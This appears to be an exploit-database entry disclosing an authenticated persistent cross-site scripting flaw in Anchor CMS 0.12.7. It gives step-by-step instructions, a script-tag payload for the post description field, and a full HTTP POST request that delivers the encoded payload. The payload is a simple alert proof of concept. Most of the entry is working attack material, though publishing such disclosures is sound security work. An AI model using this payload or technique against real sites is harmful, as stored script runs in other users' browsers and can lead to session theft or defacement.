[webapps] Anchor CMS 0.12.7 - Persistent Cross-Site Scripting (Authenticated)

# Exploit Title: Anchor CMS 0.12.7 - Persistent Cross-Site Scripting (Authenticated) # Date: 2020-09-24 # Exploit Author: Sinem Şahin # Vendor Homepage: https://anchorcms.com/ # Version: 0.12.7 # Tested on: Windows & XAMPP ==> Tutorial <== 1- Go to the following url. => http://(HOST)/admin/ 2- Login to admin panel. 3- Press "Posts" button. 4- Write XSS Payload into the description of the post. 5- Press "Save" button. 6- Go to the post. XSS Payload ==> "><script>alert("XSS")</script> ==> HTTP Request <== POST /admin/posts/edit/1 HTTP/1.1 Host: (HOST) Content-Length: 262 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept: / Origin: http://(HOST)/ Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://(HOST)/admin/posts/edit/1 Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: anchorcms=21cdfqefqwefl69ij8231 Connection: close token=mWgKk1tbYN6HAcj0jr6K2VKxBf6C311uemwTIrmEaHIi0zQpe7pNfHVm7zcoa3Fi&title=Post+Title&markdown=%0A&slug=hello-world&created=2020-09-24%2019%3A07%3A10 &description=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E&status=published&category=1&css=&js=&autosave=false